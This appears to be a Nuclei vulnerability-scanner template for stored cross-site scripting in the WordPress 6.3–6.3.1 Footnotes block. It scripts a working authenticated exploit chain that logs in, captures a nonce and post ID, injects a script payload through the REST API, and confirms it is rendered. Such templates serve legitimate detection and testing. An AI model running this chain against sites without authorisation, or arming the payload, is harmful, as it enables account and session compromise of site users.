wp-footnote-xss: WordPress 6.3-6.3.1 Footnotes Block - Cross-Site Scripting

id: wp-footnote-xss

info:
  name: WordPress 6.3-6.3.1 Footnotes Block - Cross-Site Scripting
  author: nqdung2002
  severity: medium
  description: |
    WordPress does not escape some of its Footnotes block options before outputting them back in a page/post where the block is embed.
  impact: |
    This could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-core/wordpress-core-63-631-authenticatedcontributor-cross-site-scripting-via-footnotes-block?asset_slug=wordpress
    - https://wpscan.com/vulnerability/63270b61-dddd-4cc0-a091-a04cb4f682ec/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 6.4
    cwe-id: CWE-79
  metadata:
    max-request: 4
    framework: wordpress
  tags: wpscan,xss,wp,wordpress,footnote,xss,authenticated,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/post-new.php HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /?rest_route=/wp/v2/posts/{{postid}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-HTTP-Method-Override: PUT
        X-WP-Nonce: {{nonce}}

        {
          "id": {{postid}},
          "title": "Stored XSS via Footnote Block",
          "content": "<!-- wp:paragraph -->\n<p>Test CVE<sup data-fn=\"testid\" class=\"fn\"><a href=\"#testid\" id=\"testid-link\">1</a></sup></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:footnotes /-->",
          "meta": {
            "footnotes": "[{\"content\":\"<script>alert(document.domain)</script>\",\"id\":\"testid\"}]"
          },
          "status": "pending"
        }

      - |
        GET /?p={{postid}} HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code_4 == 200'
          - 'contains(body_4, "<script>alert(document.domain)</script>")'
          - 'contains(header_4, "text/html")'
        condition: and

    extractors:
      - type: regex
        name: postid
        part: body_2
        group: 1
        regex:
          - 'post=(\d+)'
        internal: true

      - type: regex
        name: nonce
        part: body_2
        group: 1
        regex:
          - 'createNonceMiddleware\(\s"(.*)\"\s\)'
        internal: true
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